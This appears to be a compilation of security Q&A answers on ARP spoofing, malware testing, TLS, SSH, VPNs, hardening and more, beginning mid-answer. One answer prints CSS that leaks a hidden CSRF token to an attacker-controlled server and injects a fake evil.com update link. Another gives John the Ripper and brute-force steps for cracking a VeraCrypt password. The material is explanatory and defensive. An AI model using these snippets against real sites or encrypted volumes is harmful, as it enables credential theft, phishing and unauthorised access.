If the network is switched, sniffing is slightly harder. Assuming the switch is vulnerable to arp cache poisoning (arp spoofing), and A and B are non-privileged, then it could be tricky for A to reliably poison the cache for B while B is doing the same to C. It's likely that none of A, B, or C will be able to send or receive reliably.

Switched Network - Mirroring

On the other hand, if A is an administrator sniffing via a mirror of B's port, then A will see all of the traffic that B is receiving, which means A will also see C's traffic. And it will be obvious to A that B is performing an attack.

Mixed

You can combine these scenarios too. Assume A and B are on a shared broadcast domain and C is on a different switch port. If B poisons the cache to receive C's traffic, then A can see all of that traffic. And again, the attack will probably be obvious to A. (This specific scenario is probably unlikely, but I've seen some odd setups.)

It may also be possible that B is the administrator and is inadvertently leaking a monitored port in a way that A can sniff it.


How do professional hackers to test their own malwares/viruses without harming their own computer?

Almost all malware, if not all, works by obscurity. Once you understand how it works, and you have the appropriate skill-set, you can defeat it quite easily. If it's your own malware and viruses, then it's really quite simple: you know exactly what your malware does, and how to defeat it, correct? After all, you programmed it.

While yes, I agree in general with the use of a Virtual Machine, it isn't 100%. Nothing is 100%. You can infect your own machines, whether they're online or offline, and do interesting things with them.

You can observe how the malware interacts with your environment through many different methods. Here are some notable examples:

Observing all changes to the file system, and/or hard drives.
Observing memory
Debuggers such as OllyDbg, or IDA Pro.
Network packet-capturing tools such as Wireshark.

Disable the Virtual Machine's internet connection for best results

While others talk about malware "possibly escaping" the Virtual Machine, it isn't very likely, though it is possible. Even if the malware could detect that it's running inside a virtual machine, that doesn't help much unless the malware self-destructs upon detecting a virtual environment.

Even if a VM isn't detected, a piece of malware could simply try to escape it by assuming it may be there. So methods to prevent the malware from detecting it's inside a VM may not work, unless it's the type that self-destructs when detecting it.

Regarding the "attacks" you've mentioned, let's take a look at the results of them, assuming you can remove the infections:

Zip bomb

A zip bomb, also known as a zip of death or decompression bomb, is a malicious archive file designed to crash or render useless the program or system reading it. It is often employed to disable antivirus software, in order to create an opening for more traditional viruses.
After removing the infection, the left-behind zip-bomb can be nullified by deleting the files. If you made this yourself, simply make a cleanup routine. If you didn't make it yourself, simply make a cleanup routine. If the program is still forcibly running, you can reboot.
Won't cause physical problems with your hardware.

Fork bomb

In computing, a fork bomb (also called rabbit virus or wabbit) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, causing resource starvation and slowing or crashing the system.
Won't cause physical problems with your hardware.

Folder blaster.

Same concept as the zip bomb, but with folder spam. Just write a routine to delete them.
Won't cause physical problems with your hardware.

Better yet, if you have a virtual testing environment, you can delete these automatically by saving the state of a virtual machine before the infection, and restoring it after you're done studying the output. This is the easiest, most efficient method by far.


It all depends on where you want the detection to be. Antivirus on the perimeter firewall detects viruses traveling across your perimeter. Antivirus on the computer detects malware on the computer. You need both. If you only have one, you lack the detection capabilities of the other.

For instance, if only on the perimeter, a virus can be built on a computer or passed computer to computer. If only on the computers, then rogue devices can send viruses out or viruses can come in and threaten devices that do not have antivirus (or are not updated).

One reason why you might not want antivirus on the firewall is if this extra feature increases the load on the firewall. But that is not a security concern, but an operational one.


How I can get the point of elliptic curve?

Here's a dreadfully inelegant way of getting the coordinates.

According to RFC 5480 section 2.2 the definition of ECPoint is inside SEC1 (section 2.3.4).

And the essence of that section is simply:

remove 0x04 tag byte
take remaining bytes and

set left half as X
and right half as Y.

I've done this below with the fastecdsa Python module.

Grab X component

Ignore first byte. (Just a tag value.)

$ openssl ec -pubin -in facebook_pub.key -noout -text -conv_form compressed 2>/dev/null | grep '^    ' | sed 's/://g' | xargs echo | sed 's/ //g'
03a0f18cafa73988685b13560e1515b4a745ef1bc7e5853c2b04d4658a313122ea

Grab Y component

("Y" must be the rest of the string after the "X" component. I. e. after the "22ea" part.)

$ openssl ec -pubin -in facebook_pub.key -noout -text 2>/dev/null | grep '^    ' | sed 's/://g' | xargs echo | sed 's/ //g'

04a0f18cafa73988685b13560e1515b4a745ef1bc7e5853c2b04d4658a313122eaa392ed649dba6581e3b61276d8b30b45f1ff0a28149c4fdc73a9b3492da076d3

Install "fastecdsa" python package

$ time pip install fastecdsa
Collecting fastecdsa
  Downloading fastecdsa-1.6.1.tar.gz
Building wheels for collected packages: fastecdsa
  Running setup.py bdist_wheel for fastecdsa ... done
  Stored in directory: /home/User/.cache/pip/wheels/93/8a/d3/be7fc222c030383ac6313be85c602762daafc2cac8fd547e44
Successfully built fastecdsa
Installing collected packages: fastecdsa
Successfully installed fastecdsa-1.6.1

real    0m19.002s
user    0m4.909s
sys     0m4.102s

Use inside ipython

$ ipython

In [1]: from fastecdsa.point import Point

In [2]: from fastecdsa.point import P256

In [3]: x=0xa0f18cafa73988685b13560e1515b4a745ef1bc7e5853c2b04d4658a313122ea

In [4]: y=0xa392ed649dba6581e3b61276d8b30b45f1ff0a28149c4fdc73a9b3492da076d3

In [5]: Point(1,2, curve=P256)
---------------------------------------------------------------------------
ValueError                                Traceback (most recent call last)
<ipython-input-18-fb7bd27a246d> in <module>()
----> 1 Point(1,2, curve=P256)

/usr/lib/python2.7/site-packages/fastecdsa/point.pyc in __init__(self, x, y, curve)
     12     def __init__(self, x, y, curve=P256):
     13         if not curve.is_point_on_curve((x, y)):
---> 14             raise ValueError('(x, y) coordinates are not on curve <{}>'.format(curve.name))
     15         else:
     16             self.x = x

ValueError: (x, y) coordinates are not on curve <P256>

In [6]: p=Point(x, y, curve=P256)

In [7]: p.x
Out[7]: 72796836896024250540670287871159592541946330786250779466423542213376197337834L

In [8]: p.y
Out[8]: 73986592417019630365603572314878953642162012803095695018690968405918923912915L

In [9]: p.curve
Out[9]: <fastecdsa.curve.Curve instance at 0x6fffeb1b5a8>

As you can see above: fastecdsa will throw an error if you supply invalid arguments (such as "1, 2, curve=P256") to the "Point(...)" constructor.


Is WCF or Java Metro security configuration in-scope for your security department; should it be?

Yes, of course.
It's the same as a code review, or a deployment inspection.
During CR, I would expect configuration files to be part of the code base that is examined; and during a deployment inspection, all configurations you can get your hands on should be opened up and examined.

That also answers no.2 - explain to the manager that its part of the previous reviews.
3. Again, same as above - if you have a process around CR or DI, those should be part of that.
4. Boundaries: and here is a needed clarification - the dev team is responsible for performing the configuration, SecTeam has oversight, verification, and of course is additionally in an advisory/educational status.

Wrt the addition of your edit, network/OS security guys really cant do anything with WCF, and shouldnt be expected to. I was referring to the AppSec team, or security architecture, or whatever you want to call them.
Same goes for (most aspects of) SOAP, its an application protocol, network guys just wont know what to do with it.


How can I ensure my API is only called by my client?

You can't. Even for things that aren't a website, like an embedded device, somebody could always open up the hardware and inspect the firmware or, in an extreme case, de-cap the chips and examine them with an electron microscope. For websites, it's utterly trivial. Anything and everything your client can do, so can any other client. That's inherent in the decentralized nature of the Internet and also in the way web pages work.
There are things you can do to limit abuse, like having your server make the request (rather than the user's browser) and limiting the rate at which it will do so on your users' behalves. Authentication might potentially let you limit requests per user and/or pass along the bill. Actually controlling the client used to talk to your server (or the third-party one) is impossible, though. At best, you can obfuscate your code and try to hide the access key, but in the end, you can't hide it perfectly.


In SSL/TLS, what is hashed is the handshake messages, i.e. the unencrypted contents. The hash input includes the 4-byte headers for each handshake message (one byte for the message type, three bytes for the message length); however, it does not contain the record headers, or anything related to the record processing (so no padding or MAC). The "ChangeCipherSpec" message (a single byte of value 1) is not a "handshake message" so it is not included in the hash input.

Each handshake message may be split over several records; similarly, a single record may contain several handshake messages. This splitting and merging has no impact on the hashing process.

This is actually specified in the RFC:

  handshake_messages
     All of the data from all messages in this handshake (not
     including any HelloRequest messages) up to, but not including,
     this message.  This is only data visible at the handshake layer
     and does not include record layer headers.  This is the
     concatenation of all the Handshake structures as defined in
     Section 7.4, exchanged thus far.

Mandatory note: it must be stated that designing a protocol such as SSL/TLS is very hard; a lot of some details can be wrong and jeopardize security. The actual TLS got it wrong in several points, and this triggered a lot of trouble (see this answer). Defining your own protocol, and making your own implementation, are OK for purposes of learning or simply having fun, but I urge you to reconsider any velleity at deploying such things for production use.


OpenVPN one account multiple servers & Load Balancing

To do this you need to build your internal PKI first, then do IP/routing/user data replication on all your OVPN servers as you wish.

Pritunl has just solved these problem with mongodb, you might take a look and maybe follow this approach to replace with mysql/glusterfs ... whatever.


I recommend the following steps, in rough order of priority:

Enable automatic updates. This is the best way to ensure you are always running the best, patched version of all software.
Turn on a firewall. A simple policy often suffices for desktops: roughly speaking, allow all outgoing connections, block all incoming connections.  This is a lot easier than tracking down all services that might be listening and disabling them; simply blocking all incoming connections by defaults closes the exposure.
Enable automatic backups. Set up a backup system to automatically and routinely backup your system, without your involvement.  This is one of the best ways to ensure you can recover from a compromise.  Security is more than just prevention; it is also about enabling rapid and reliable recovery from compromise.
Use HTTPS Everywhere. Install HTTPS Everywhere (or ForceHTTPS, or equivalent) into your browser, to ensure you use HTTPS (SSL/TLS) on every site that supports it.
Use SSH. For all remote logins, use SSH.  Create a private keypair.  Protect your private key with a password.  Put your public key in the authorized_keys files of all accounts you want to be able to log into remotely.  Avoid all unencrypted traffic (e.g., telnet, FTP, IMAP, POP); use encrypted variants instead.
Encrypt email traffic.  If you use a mail client with POP or IMAP, configure it to use SSL/TLS protection (e.g., imaps instead of imap), so that the connection with the mail provider is encrypted.  Most good email providers will offer an option for connecting via SSL or TLS.
Use an email service that scans your email.  Use a good email provider with a good reputation for blocking spam in incoming email.  Good spam-blocking software often will also block many email-based scams, phishing attacks, and worms.
Optional: Consider full-disk encryption.  If you have a laptop, you might want to enable full-disk encryption, to protect against data breach if the laptop should be lost.  Truecrypt and PGP's product have a good reputation.  If you use Linux, most Linux distributions will enable you to set up full disk encryption when you install the Linux OS.
Optional: Enable SELinux. Turn on SELinux, if you use a distribution that supports it.
Optional: Harden your browser.  You might consider modifying your browser settings to protect yourself.  e.g., consider disabling third-party cookies.  Consider installing AdBlock Plus.
Optional: Log out, when you're not present. Whenever you leave your computer unattended, you might want to log out (or engage a password-protected screensaver).


What level of anonymity do VPNs provide?

When I use VPN is entire Internet usage protected or only some subset of traffic?

This depends on how your VPN client is configured.  It might send all traffic over the VPN connection to the remote network or only traffic that has an endpoint inside the VPN.  I've seen them configured both ways.

One reason the IT staff would force all traffic to travel through the VPN is to prevent your machine from routing internet traffic into the VPN if your machine has been compromised.  If all of the traffic goes through the VPN, then they can log the attacker connecting to your machine or detect it with an IDS.

To answer the rest of your questions:  if all of your traffic travels through the VPN, then it will appear to external servers that you are connecting from the VPN's outgoing interface.


making an iPhone/Android app which sends a user password to my server, how to secure?

Can people eavesdrop on mobile networks?  Most definitely.  Also your server is likely connected to the mobile network over the ordinary internet where people could eavesdrop.  Also, people frequently use wifi connection from their phones (versus 3g/4g data connection) which again will go over the ordinary internet and is subject to many potential eavsedroppers.

Why not SSL?  If you have your own domain, you can get an SSL certificate from a trusted signed CA (certificate authority) for free (https://startssl.com), which prevents eavesdropping/MitM attacks, etc.

There are problems with your scheme.  E.g., replay attacks (eavesdropper replays the hash), MitM altering messages after authentication (e.g., replacing legitimate review with spam or a XSS vulnerability), firesheep, etc.  You can improve on it marginally with nonces or timestamps, but again its far simpler just to use SSL than to try and reinvent the wheel.

You may think, I'm not dealing with credit cards why do I care if I'm unsafe.  Maybe you have reviews and some spammer decides to steal credentials for many accounts to positively review their products.  Or some script kiddie gets upset with a review and deletes all reviews they can from your site.  Or your idea of a strong hash is sha-1 without a salt (e.g., you worked for linkedin) and someone captures hashes sent over the network and soon captures a million sha-1 hashes and brute forces them in parallel in a embarassing incident.


What perils are there in allowing user input of parts of an ODBC connect string?

To expand a little on one of @Sigtran's points, filtering on special deliminator characters is of course a key control when protecting against injection attacks, however it is also advisable to protect against the potential for creative encodings by utilising as restrictive as possible a white-list approach rather than simply replacing characters such as ; ' etc. Some regex such as this could perhaps be used (if you don't break legit functionality with only alpha/num/dashes of course):

/[^A-Za-z-_0-9]/g, ""


How much time / "entropy collected" should generating a RSA 2048bit keypair take?

For security, all that you need is that the process runs with 128 or so of entropy as initial seed. Entropy here means: that which the attacker does not know. In particular, there is no problem if the same source entropy is extended with a CSPRNG into the production of many key pairs.

The core model is the following: the operating system maintains an internal "entropy pool" which contains at least 128 bits of entropy. A cryptographically strong PRNG extends that internal pool into an arbitrarily long sequence of pseudorandom bits, which are, by definition, unpredictable by the attacker, because 2128 is way too high a number for the attacker to brute force the pool, and "cryptographically strong" really means "ye cannot do better than brute force". On a Linux system, this is called /dev/urandom.

(Note: part of being "cryptographically strong" also includes "forward security": obtaining the pool contents after the key generation should not allow "rewinding" the PRNG to its state prior to the generation. Good PRNG are forward secure.)

There is a common myth about entropy being "used up" like it was some sort of fuel. This is not true, except in a very theoretical sense which applies only if you use the randomness only for One-Time Pad, and your attacker is God. For all other cases, including generating keys for "normal algorithms" like RSA, and not incurring divine wrath, entropy is not consumed when obtaining bytes from /dev/urandom. The /dev/random behaviour on Linux is, in fact, badly flawed (FreeBSD's /dev/random is much better). This Web page explains quite well the differences between /dev/random and /dev/urandom, and why /dev/urandom should be preferred. Read it whole.

The remaining question is then: why would GnuPG use /dev/random and not /dev/urandom for key generation ? Well, there are historical reasons (GnuPG aimed at supporting systems with very poor OS-provided PRNG) and general inertia (a common unwillingness to challenge "established wisdom", even when such "wisdom" is mythical); but the biggest reason is that it is your own fault. GnuPG does cryptography like medicine: not only it must protect the emails, but the human user must also be convinced that some powerful cryptography just occurred. Pills work better when they taste foul; similarly, users want key generation to look like an expensive endeavour. Your own question is a testament to that feeling: though you don't actually know precisely what happens within a CSPRNG (that's a matter for cryptographers), you still believe that "0.5 seconds is too quick". GnuPG complies to your whims by making a big show of the key generation process. This is all security theater and it happens because you want it that way.


You would need your Linux server to have anti-virus that scans for Windows viruses. As far as I know, there aren't many such AV's. Furthermore, what's to stop someone from putting a Linux virus on the flash drive, instead? Your idea does raise the bar, mostly due to its obscurity, but I don't think you are getting enough for the effort and complexity of this solution.


There is no way to perform identification before the cert is sent, because the whole point of the cert is to establish identity. So if you could establish identity of the server before receiving the cert, what would be the point of validating the cert against the server? This is actually another point, a cert is for a domain, so a client should always check that the domain in the cert matches the domain that it is connecting to. So technically if I try to connect to evil.com over HTTPS and you give me the cert for google.com I shouldn't validate the cert (Though implementations have been known to omit this check!!). And like you said, you could send a cert that is not your own, and the if the client (incorrectly) validates this cert the client then sends a secret encrypted under the public key contained within that cert to the attacker. The attacker is unable to decrypt this data since it does not have the private key. At this point the attacker is unable to derive any symmetric keys from the secret the client sent it (since it cannot decrypt the secret), and as a result is unable to decrypt any traffic sent from the client.


Possible to limit server connections to clients with a specific certificate?

It is possible to limit server connections to client with specific certificates. When using SSL/TLS it is sometimes refer as SSL client authentication or mutual authentication as the client authenticate the server and the server authenticate the client.

A free implementation of a mutual authentication using SSL/TLS we'll require to setup a Public Key Infrastructure and create a Certificate Authority (CA). Your Web Server will need to support SSL/TLS and have a certificate.

It can be done easily using OpenSSL.

Create a Certificate Authority

Create new CA (private key and certificate).

Create a Server  certificate

Create new server private key and certificate request.
Have the new CA sign the server certificate.

Client certificate.

Create a client certificate request.
Sign the client certificate using the CA certificate and private key
previously created.

Client Authentication

Install your CA certificate within your browser.
Configure your web server to authenticate users based on the provided
client certificate.

Resources

Secure Web Access

What is the difference between an x.509 “client certificate” and a normal SSL certificate?


To elaborate further on Mike's comment. You will need an idea of the last known password and then use John the Ripper to produce a wordlist mutation (similar) passwords. You will need to create a rules configuration file for John, the wordlist will give a smaller password set if thought through carefully. Hence, a smaller keyspace to brute force; reducing overall brute force time.

root@kali:~# john –wordlist=mustangwords.txt –stdout –rules:convtolowerplus000 > newmustangwords.txt

  Basically this is broken up as follows:

john self-explanitory, start John the Ripper
–wordlist= specifying the word list we want to mutate
–stdout output the words generated
–rules: this is the rule set we generated in the configuration file
> output the results to a new text file

Next, you will need to brute force the VeraCrypt header key this can be done with vUte. vUte is a VeraCrypt Bruteforcer written in BASH. As I understand the header key can be obtained via use of a hex editor, A back-to-front TrueCrypt recovery story: the plaintext is the ciphertext. For context, Is there a reason to use TrueCrypt over VeraCrypt?.

As I understand HashCat can do a similar process, with less intermediate steps. However, I am not familiar with this. Furthermore, due to the nature of this brute force, it is not known to be a particularly fast crack. VeraCrypt uses PBKDF2, see About how fast can you brute force PBKDF2?.


What are the risks of SSHing to an untrusted host?

Intercepting the "logout" commands is easy on the hostile server. Intercepting the "Ctrl-D" requires taking control of the terminal in raw mode, but that's not a big issue.

Reading back the terminal contents might prove difficult. Different terminals implement their own set of control sequences; xterm is notorious for implementing a lot of them. I don't see any sequence which allows reading back the terminal contents; however, some considerable messing up can still be done with the sequences, such as moving the window around, switching fonts, and so on. In older days, it was possible to actually make xterm create local files, albeit without much control on the file name (I don't remember the details, but it was probably with the "log files" feature which may be disabled at compile-time). Besides dancing, an xterm could be made to sing, too, with the "bell character" -- it is more a nuisance thing than an attack vector, though.

Speaking about nuisance: depending on the client system and its configuration and graphic drivers, a rogue terminal scrolling text at high speed may all but freeze the victim's console (in my experience, gnome-terminal and a compositing window manager can turn into a bad combination for that).

Still in xterm, there are sequences to manipulate the clipboard (search for "manipulate selection" in the reference page linked above). This can be nasty, both for reading and for writing. See this page for a discussion about the possible issues (an issue-tracking list of comments, from people discussing the possibility of importing that mechanism in a terminal emulator called mintty).

The overall conclusion is: do not SSH into insecure hosts. If you do, you may want to do that from rxvt-unicode, an rxvt fork where the author made (among other features) some effort at disabling "insecure" control sequences by default (they can be brought back with the "-insecure" command-line parameter).


Even if Tails offers  anonymity and coming with default built-in encryption suites for different purposes, your anonymity is already compromised since as in all schools/universities we find the same policy: to use their WiFi they need to be sure you are either a student, a teacher or an authorized person to access their Wifi.

Also you must remember that  Tor browser as well as the whole Tails operating system privacy-protecting flaws show that no anonymity system is fail-safe: you need to keep yourself Tails/Tor up-to-date to security issues as mentioned in this recent May 2015 report where it is stated that when it comes to anonimity:

  there is no magic or perfect solution to such a complex problem.

Some vulnerabilities listed from that report:

Tor exit nodes can eavesdrop on communications
Tails makes it clear that you are using Tor and probably Tails
Man-in-the-middle attacks
Confirmation attacks


lots of confusion here... but that's normal :)

Reminder: Each time a user enrolls a FIDO U2F device (FIDO U2F USB security key, FIDO U2F NFC card, FIDO U2F BLE device), a new key pair is needed and created.
Inside FIDO U2F Specifications, there is a section called "7. Allowing for Inexpensive U2F Devices" (http://gg.gg/4eny2) describing how a manufacturer is allowed to wrap every newly created users keys from an initial built-in secret. Yubico (like many others) made the decision to follow this path. The advantage is that the device can deal with an infinite number of keypairs since they are not really stored inside the device, they are created from information "hidden"/wrapped inside keyhandles that were originally supposed to be purely random index attached to generated keys. A first problem is that specifications don't say anything about how manufacturer can wrap keys so a manufacturer can use a totally broken and non-secure wrapping method and still be "FIDO U2F" certified. Another major issue with this choice is that even with a secure wrapping method, if a manufacturer is forced by an agency like the NSA for example to give this list of initial secrets or if an insider decided to take this list of these secrets that are built-in inside their products... well... all users private keys don't belong to users only anymore... meaning that a third-party can rebuild all users keys from all these products just from the public keyhandle that are stored on the server side and exchanged with the browser... "What could possibly go wrong?" (c)
As Far as I know, Yubico personalization don't let you change these built-in secrets, this software is made for other non-FIDO U2F related features. * sigh *
There are solutions like FIDO U2F compatible products from Ledger.co (first disclaimer: they are friends) that are wrapping keys but nuilt-in tools let the user change an initial seed to change the built-in secret.
Some other manufacturers (second disclaimer: like NEOWAVE, the company I am working for) don't allow this kind of key wrapping. Here is a visual illustration to show the difference between wrapping and non-wrapping : http://www.neowave.fr/pleaseno/key_wrapping_versus_stored_isolation.jpg

I hope it is more clear now :)


Can fuzzing be considered a software testing technique for any vulnerability type

The short answer is: no.

Here the long answer: The origin of fuzzing (or fuzz testing) is sending random data or slightly random data (i.e. sticking to a certain format or mutating something valid).

The goal of fuzzing is usually to provoke an application crash. This crash can then be analyzed with debuggers or memory monitoring tools (i.e. Valgrind) to see if a memory corruption vulnerability was triggered and fix (or exploit) it.

Fuzzing allows you to start the application with lots of invalid inputs and defer deep analysis of the application to when a known crash has occured.

Both fuzz testing and using a web vulnerability scanner have in common that they are techniques in the field automated vulnerability testing. Web scanners, however, finds specific vulnerabilities using quite strategic, sophisticated attacks. Varying assumptions, playing with input/output handling of web apps.
Fuzzers don't need to be that smart (although they may be, of course).

Oh, this might be less relevant but sqlmap, for example, does not only scan for SQL injection flaws but does a very smart job in exploiting them.


What makes it difficult for Facebook to implement restriction/ACL for accessing uploaded photo?

Images are available through a CDN. This promotes faster loading and lower system load. It's also rather crucial for anything that's marked as public content.

Since users can still copy and reupload images (to Facebook or elsewhere), the value of preventing CDN access to a known URL is very low. The technical complexity to add ACL rules is not immense, but it does increase complexity while providing little-to-no value, require remote caching and code evaluation (probably not the kind of thing you want a 3rd to handle or have access to), and increases hardware costs.

Thus, the benefit is next-to-nothing and the cost, though not immense, is substantial.


It's definitely not a good idea to put raw user input directly into styles.

Is CSS injection as bad as XSS? No, but there are still problems with it.

Some of these examples below don't apply to you as quotes are required, but I'll include them anyways for readers interested in CSS injection in general, and to show that CSS is more powerful than generally expected, so it's a good idea to properly filter/sanitize/encode user input before placing it in a CSS context.

Changing the Look of a website

This one is rather obvious, but it's something to keep in mind. Do you really want to give an attacker the option to control how your website looks? This of course depends on the kind of website you have, but for some websites - eg banking websites or websites for children - even a reflected CSS attack via which an attacker includes images in the target site may lead to damage to the reputation of the site.

Reading data from a website

An attacker may be able to read out passwords and CSRF tokens and send them to an attacker controlled server. Here is simple example:

<style>
input[value^="a"] + input { background-image: url(http://www.example.com/a); }
input[value^="s"] + input { background-image: url(http://www.example.com/s); }
input[value^="z"] + input { background-image: url(http://www.example.com/z); }
</style>

<input value="secret" type="hidden" name="csrftoken" />
<input type="Submit" />

This can also be done more efficient (see here or here). There are probably other approaches as well, and I wouldn't be too surprised if some of them worked without quotes.

Changing the content of a website

An attacker can also change the existing content of the website, either for defacement reasons, or as a (somewhat unlikely, but still possible) phishing attack:

<style>
p::before {
    content: "Important security update: http://evil.com/update";
}
</style>

<p>
Somewhere a user does not expect user input
</p>

Executing Scripts

There are different ways to execute JavaScript via CSS (expression, url("javascript:, different features and bugs in various browser (eg -moz-binding, htc), etc). I don't think any of the current versions of the popular browsers allow it, but you really can't rely on your users using those.


Where can I find a list of checksums for windows files? Why don't MS sign all their executables?

Some software on MSDN has hashes published but I can't find a way to get a decent list.

They don't appear to publish hashes in the download centre either.

As I understood it though, any software issued through Windows Update should be signed and certainly all 64bit Windows software should be signed.

Can't really think of a reason they don't sign everything other than the overheads of maintaining signing keys for such a large set of software. You certainly would have expected their build process to automatically sign any release software.


If you check the IP address that optimizr.net resolves to (178.63.88.243) - it is on at least one Blacklist.  Based on this I would error on the side of caution and say that it is spam.


Log User In Automatically After Clicking Account Activation Email

For many sites the model is that an accounts are controlled by anyone that has the password or has control over the email account.  An auto-login is just an extension of that model.  The link should only be available to that email account and that email account should only be available to the account holder.

That said, SMTP is a pretty bad channel to rely on for secrecy.  Your message will move over networks in the clear and bounce through multiple mail servers where it could be stored.  Additionally the activation link might be processed by a proxy where it gets stored in the logs.  You might decide that you trust email enough for the verification step but not for authentication or password reset.

You could try a hybrid approach where you get the benefits of auto-login and minimize those security risks.  When the user creates an account you create a session for them in a probationary state.  You know who they are but you don't let them access any features.  Once they activate you change their state from probationary to active and they can access features.  Just having the link will no longer get you access to the site.

If you do follow your proposed model you should time-bound the auto-login token, make it appropriately hard to guess and verify that the activation token matches the user account.  You don't want people guessing tokens and getting access to your user accounts.


Separate web and app server windows authentication

The security of a server is limited by the security of the "weakest" accessible service.

Additionally, if any service on the server is compromised, an attacker will likely be able to compromise the whole box, meaning that all services on the box will be compromised.

Segregation of services to different server means that you are not putting "all your eggs in one basket".

Having the application server on a different, back-end server, makes it much harder for an internet based attacker to gain access, as they have to compromise the front-end web server first. However, without knowing full details of the system it is difficult to judge this - it will be up to you to assess the risks and determine whether this separation is worth it. If the cost to secure it is higher than the cost of breaches, then it is not.


The risk is simple: an attacker that gets control over one of those servers would likely be able to compromise the second server. From database to application or the other way around.

If you setup a firewall device between those two, there are two possibilities:

Network (standard) firewall: you won't be able to do much from that kind of device, apart of limiting connections from application server to the database server (i.e. deny connections from DB to application server).
Web Application Firewall (WAF) or any other layer 7 technology: you would be able to prevent and/or detect attacks from one server to another and to restrict trafic as with the previous solution.

So basically the answer is really that you should be using some firewalling / filtering technology between your application and your database servers. A host-based solution can be considered too, in addition to a network device or as the main solution.


When considering If auto login is a risk we must first know the use for the machine.
Like when it’s a public machine having that autologin is not really a problem if sufficient safeguards are put in place to prevent abuse.
Think of machines like kiosk or ATM’s or other public service machines.
When we are talking about a personal machine it depends on the use. If it’s for someone that can not be expected to enter a password it could be ok to have that autologin. (Think users like people with memory issues / dementia or users that are really old / need some sort of assistive technology, like poor eyesight /blind or mobile limited / in a wheelchair). In such cases alternative safeguards are needed to protect the user and system because since a password is not an option.
If it’s for a normal person without limitations in use of the machine, the risks of autologin are far greater than the benefit it offers.
If easy of login is wanted you could consider using a login stick instead of a login password (like a yubikey Or alike).
If the machine is mobile no password is a no go (imho) same goes for encryption of the disk (I consider that a must have). These things are impossible to combine with a auto login.
As always first consider what someone could do with the additional permissions (no login in this case) that you think are unwanted or a risk.
Than consider the “cost” of having the feature in place, not just the cost in money but also the cost in time and effort.
Security is a game of having the most gains while keeping effort reasonable.


Can address details be "googled" from the whois information, without knowing the domain name?

Yes.  There are numerous web sites which present 'whois' information, and they are indexed by Google.  For example, this search:

"Chen, William" whois

Leads to results like this:

MazdaMedia.com WHOIS, DNS, & Domain Info - DomainTools

Which contain the full WHOIS record as well as other information.

Of course, most registrars offer "private registration" services (for a fee, of course) where the details they release are anonymized - instead of your email, they generate a random email address and forward all mail for that address to you, and your name is redacted.  Here's an example of a domain that's protected in this manner:

Play4kd.com WHOIS, DNS, & Domain Info - DomainTools

Registry Registrant ID:
Registrant Name: WHOISGUARD PROTECTED
Registrant Organization: WHOISGUARD, INC.
Registrant Street: P.O. BOX 0823-03411
Registrant City: PANAMA
Registrant State/Province: PANAMA
Registrant Postal Code: 00000
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registrant Email: 6B010429CE9E421782FA4699C28B9BB6.PROTECT@WHOISGUARD.COM

(If you are reading this after February, 2017, there's no guarantee the link will continue to reflect this protection ).


Apple has released the Security Update 2014-005, disabling the CBC mode with SSLv3:

  Security Update 2014-005

  Secure Transport

  Available for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5

  Impact: An attacker may be able to decrypt data
  protected by SSL

  Description: There are known attacks on the
  confidentiality of SSL 3.0 when a cipher suite uses a block cipher in
  CBC mode. An attacker could force the use of SSL 3.0, even when the
  server would support a better TLS version, by blocking TLS 1.0 and
  higher connection attempts. This issue was addressed by disabling CBC
  cipher suites when TLS connection attempts fail.

  CVE-ID

  CVE-2014-3566: Bodo Moeller, Thai Duong, and Krzysztof Kotowicz of Google Security
  Team

(Emphases are mine)

Therefore, even if Safari still support SSLv3, it is not vulnerable to the POODLE attack.


XSS possible inside the value field of input tag when double quote is filtered?

No, per the HTML specification, only the matching quote (in this case, double quotes), can get you out of the attribute value context.

You might be able to get a " past the filter with some filter evasion tricks, but as long as the browser's HTML parser doesn't see a literal double quote, it won't exit the attribute context for you to inject a payload.


What is the difference between authorized_keys and known_hosts file for SSH?

The known_hosts file lets the client authenticate the server, to check that it isn't connecting to an impersonator. The authorized_keys file lets the server authenticate the user.

Server authentication

One of the first things that happens when the SSH connection is being established is that the server sends its public key to the client, and proves (thanks to public-key cryptography) to the client that it knows the associated private key. This authenticates the server: if this part of the protocol is successful, the client knows that the server is who it claims it is.

The client may check that the server is a known one, and not some rogue server trying to pass off as the right one. SSH provides only a simple mechanism to verify the server's legitimacy: it remembers servers you've already connected to, in the ~/.ssh/known_hosts file on the client machine (there's also a system-wide file /etc/ssh/known_hosts). The first time you connect to a server, you need to check by some other means that the public key presented by the server is really the public key of the server you wanted to connect to. If you have the public key of the server you're about to connect to, you can add it to ~/.ssh/known_hosts on the client manually.

By the way, known_hosts can contain any type of public key supported by the SSH implementation, not just DSA (also RSA and ECDSA).

Authenticating the server has to be done before you send any confidential data to it. In particular, if the user authentication involves a password, the password must not be sent to an unauthenticated server.

User authentication

The server only lets a remote user log in if that user can prove that they have the right to access that account. Depending on the server's configuration and the user's choice, the user may present one of several forms of credentials (the list below is not exhaustive).

The user may present the password for the account that he is trying to log into; the server then verifies that the password is correct.
The user may present a public key and prove that he possesses the private key associated with that public key. This is exactly the same method that is used to authenticate the server, but now the user is trying to prove its identity and the server is verifying it. The login attempt is accepted if the user proves that he knows the private key and the public key is in the account's authorization list (~/.ssh/authorized_keys on the server).
Another type of method involves delegating part of the work of authenticating the user to the client machine. This happens in controlled environments such as enterprises, when many machines share the same accounts. The server authenticates the client machine by the same mechanism that is used the other way round, then relies on the client to authenticate the user.